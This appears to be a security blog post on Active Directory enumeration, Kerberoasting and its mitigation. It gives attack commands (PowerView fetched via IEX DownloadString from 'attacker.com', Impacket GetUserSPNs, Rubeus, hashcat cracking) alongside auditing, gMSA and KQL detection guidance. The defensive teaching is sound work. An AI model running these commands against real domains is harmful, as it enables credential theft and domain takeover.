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Introduction:
In the ever-evolving landscape of enterprise security, a single “Pic of the Day” shared within the infosec community often encapsulates a complex attack chain more effectively than pages of text. The visual shared by Hacking Articles highlights a critical reality for defenders: adversaries are meticulously mapping Active Directory (AD) environments to perform privilege escalation. By understanding the technical pathways—from initial enumeration to exploiting Kerberos authentication—security professionals can harden their infrastructure against these stealthy, credential-based attacks.
Learning Objectives:
- Understand the methodology of Active Directory enumeration using built-in Windows tools and offensive scripts.
- Execute and analyze a Kerberoasting attack to extract service account credentials.
- Implement detection mechanisms and mitigation strategies to secure Kerberos authentication.
You Should Know:
1. Active Directory Enumeration: Mapping the Terrain
Before an attacker can strike, they must understand the layout of the domain. This phase relies heavily on “low and slow” techniques to avoid triggering endpoint detection and response (EDR) alerts. Using native Windows binaries like `net.exe` and PowerShell, an attacker can map users, groups, and service accounts.
Step‑by‑step guide:
Start by enumerating domain information without loading external tools. This allows the attacker to blend in with normal administrative traffic.
Enumerate domain users and administrators net user /domain net group "Domain Admins" /domain Identify domain controllers and SPNs (Service Principal Names) nltest /dclist:targetdomain.local setspn -T targetdomain.local -Q /
For more in-depth enumeration, attackers often pivot to PowerView (part of PowerSploit) to query Active Directory via LDAP. This reveals high-value targets like servers running Microsoft SQL or web services.
Import PowerView in memory
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/PowerView.ps1'); Get-NetUser -SPN"
This command lists all users with Service Principal Names (SPNs)—the exact prerequisites for a Kerberoasting attack.
2. Exploitation: Kerberoasting Service Accounts
Once a domain user context is established, Kerberoasting is the preferred method for privilege escalation. It leverages the fact that any domain user can request a Ticket Granting Service (TGS) ticket for any service account. The ticket is encrypted with the service account’s NTLM hash. Since service accounts often have weak or reused passwords, the TGS can be cracked offline.
Step‑by‑step guide:
From a Linux attack platform like Kali, Impacket’s `GetUserSPNs.py` is a standard tool. It authenticates with a low-privilege domain account and requests TGS tickets.
Using Impacket from Linux to request TGS tickets python3 GetUserSPNs.py -dc-ip 10.10.10.1 targetdomain.local/lowprivuser:Password123 -request
The output is a hash crackable by Hashcat or John the Ripper.
Save the hash to a file and crack using rockyou.txt hashcat -m 13100 kerberoast_hash.txt /usr/share/wordlists/rockyou.txt
On Windows, attackers use Rubeus to perform the same action, often with better opsec for bypassing AV.
Rubeus.exe kerberoast /outfile:hashes.txt
If the service account has high privileges (e.g., a domain admin), the attacker gains full control over the domain.
3. Defensive Hardening: Mitigating Kerberoasting
Understanding the exploitation method informs the defense strategy. While you cannot disable Kerberoasting without breaking Kerberos functionality, you can drastically reduce its success rate.
Step‑by‑step guide:
The primary defense is the principle of least privilege. Service accounts should never be members of high-privilege groups.
1. Identify Risky Accounts: Use PowerShell to audit accounts with SPNs and high group membership.
Get-ADUser -Filter {ServicePrincipalName -like ""} -Properties MemberOf, PasswordLastSet, ServicePrincipalName | Select Name, ServicePrincipalName, MemberOf
2. Enforce Strong Passwords: Service accounts should have complex, randomly generated passwords at least 25 characters long, making offline brute-force infeasible. Use Managed Service Accounts (gMSA) where possible, as Windows automatically manages their complex passwords.
3. Configure Group Policy for Auditing:
- Navigate to
Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Advanced Audit Policy. - Enable `Audit Kerberos Service Ticket Operations` to log Event ID 4769 (A Kerberos service ticket was requested). High volumes of 4769 events from a single user against multiple SPNs indicate a Kerberoasting attempt.
- Use Sysmon Event ID 1 (Process Creation) to detect execution of `Rubeus.exe` or
mimikatz.exe.
4. Advanced Evasion and Detection Bypass
Attackers are aware of simple string-based detection for tools like Rubeus. To evade EDR, they often compile custom binaries or use reflective loading within living-off-the-land binaries (LOLBins).
Step‑by‑step guide:
From a defensive perspective, monitoring for the behavior rather than the tool is critical.
– Windows Defender for Endpoint (MDE): Use advanced hunting queries to detect anomalies.
DeviceProcessEvents
| where FileName has_any ("powershell.exe", "cmd.exe")
| where ProcessCommandLine has_any ("-enc", "IEX", "DownloadString", "kerberoast")
– Linux Detection: While Kerberoasting is primarily a Windows attack, if your SOC monitors Linux endpoints, look for unusual LDAP queries targeting the domain controller.
Monitor logs for excessive ldapsearch queries sudo grep "ldapsearch" /var/log/auth.log
5. Cloud and Hybrid Identity Hardening
In modern hybrid environments, where AD connects to Azure AD (Entra ID), the risk escalates. A compromised on-prem service account can sync to the cloud. Attackers aim to gain “synchronization” privileges to reset cloud admin passwords.
Step‑by‑step guide:
- Secure the Azure AD Connect Server: This server holds the keys to the cloud. Ensure it is treated as a Tier 0 asset.
- Enable PIM (Privileged Identity Management): Ensure that no permanent global administrators exist. Require just-in-time access.
- Harden Kerberos Delegation: Disable unconstrained delegation on servers running Azure AD Connect.
Check for computers with unconstrained delegation Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
What Undercode Say:
- Visibility is non-negotiable: Attackers rely on the fact that organizations cannot monitor for Event ID 4769 effectively. Centralized logging with a SIEM (Security Information and Event Management) is essential to detect the “spray” of TGS requests.
- The cloud blind spot: Most organizations still treat on-prem AD as the trusted source but fail to realize that cloud sync accounts are prime targets. A Kerberoasting attack on a sync account can lead to a cloud-wide breach, bypassing MFA (Multi-Factor Authentication) for cloud apps.
Prediction:
As Microsoft pushes forward with “Secure Future Initiative,” we predict a shift towards Kerberos armoring (FAST) and the deprecation of RC4 encryption for Kerberos tickets. Within the next 18-24 months, organizations failing to disable RC4 encryption will become prime targets for more advanced Kerberos-based attacks like “Kerberos Bronze Bit” (CVE-2020-17049). Defenders must prioritize migrating to AES encryption for service accounts now to avoid a wave of automated exploitation campaigns targeting legacy protocols.
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